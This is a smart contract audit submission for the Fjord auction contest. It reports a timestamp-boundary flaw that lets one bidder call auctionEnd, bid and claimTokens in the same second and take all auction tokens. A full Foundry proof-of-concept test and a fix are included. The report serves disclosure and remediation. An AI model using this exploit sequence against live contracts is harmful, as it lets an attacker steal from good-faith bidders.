Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Malicious User can manipulate the Auction and win all the `totalTokens` for him self

benterkiii

Summary

a Malicious User can manipulate the Auction and win all the totalTokens for him self.

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L144
https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L160
https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L182

Vulnerability Details
see that in all these checks there is one seconde all the function can be called at once
whitch is: `block.timestamp == auctionEndTime`

here is a test as a POC of the vulnerability:

create a file called TestAuctionCanBeManipulatedin the following directory.
2024-08-FJORD/test/unit/TestAuctionCanBeManipulated.t.sol
and paste this test inside.

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
​
import "forge-std/Test.sol";
import "src/FjordAuction.sol";
import { ERC20BurnableMock } from "../mocks/ERC20BurnableMock.sol";
import { SafeMath } from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
​
contract TestAuctionCanBeManipulated is Test {
using SafeMath for uint256;
​
FjordAuction public auction;
ERC20BurnableMock public fjordPoints;
ERC20BurnableMock public auctionToken;
​
address public owner = address(0x1);
address public Alice = address(0x2);
address public Bob = address(0x3);
address public Michel = address(0x4);
address public maliciousActor = address(0x5);
​
uint256 public biddingTime = 1 weeks;
uint256 public totalTokens = 1000 ether;
​
function setUp() public {
fjordPoints = new ERC20BurnableMock("FjordPoints", "fjoPTS");
auctionToken = new ERC20BurnableMock("AuctionToken", "AUCT");
auction =
new FjordAuction(address(fjordPoints), address(auctionToken), biddingTime, totalTokens);
​
deal(address(auctionToken), address(auction), totalTokens);
}
​
function testManipulation() public {
// 1. Users bids their FjordPoints
deal(address(fjordPoints), Alice, 100 ether);
deal(address(fjordPoints), Bob, 100 ether);
deal(address(fjordPoints), Michel, 100 ether);
deal(address(fjordPoints), maliciousActor, 500 ether);
​
vm.startPrank(Alice);
fjordPoints.approve(address(auction), 100 ether);
auction.bid(100 ether);
vm.stopPrank();
vm.startPrank(Bob);
fjordPoints.approve(address(auction), 100 ether);
auction.bid(100 ether);
vm.stopPrank();
vm.startPrank(Michel);
fjordPoints.approve(address(auction), 100 ether);
auction.bid(100 ether);
vm.stopPrank();
​
console.log("Alice Bid:", auction.bids(Alice));
console.log("Bob Bid:", auction.bids(Bob));
console.log("Michel Bid:", auction.bids(Michel));
​
//2. After the bidding time has passed, the maliciousActor
// calls `auctionEnd` exactly at: block.timestamp == auctionEndTime
skip(biddingTime);
auction.auctionEnd();
​
//3. now that we have the multiplier calculated and all the fjordPoints burned,
//and at the same timestamp the maliciousActor bids a `totalBids` amount.
//REMARQUE: the maliciousActor should send all of this in one transaction.
uint256 amountToBid = auction.totalBids();
​
vm.startPrank(maliciousActor);
fjordPoints.approve(address(auction), amountToBid);
auction.bid(amountToBid);
console.log("maliciousActor Bid:", auction.bids(maliciousActor));
​
console.log("maliciousActor balance before claim:", auctionToken.balanceOf(maliciousActor));
auction.claimTokens();
console.log("maliciousActor balance after claim:", auctionToken.balanceOf(maliciousActor));
vm.stopPrank();
​
//the Users will lose their fjordPoints and the chance to win anything from the auction
vm.startPrank(Alice);
vm.expectRevert();
auction.claimTokens();
vm.stopPrank();
​
vm.startPrank(Bob);
vm.expectRevert();
auction.claimTokens();
vm.stopPrank();
​
vm.startPrank(Michel);
vm.expectRevert();
auction.claimTokens();
vm.stopPrank();
}
}

Impact

  1. anyone who have fjord points can take all the auction tokens for him self

  2. users who participate in the auction will louse their `fjordPoints`

Tools Used

Manual Review, foundry tests

Recommendations

first i recommend to replace the following lignes:

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L144

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L16
with the following line:

if (block.timestamp >= auctionEndTime) {


so we take away this second `block.timestamp == auctionEndTime`

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.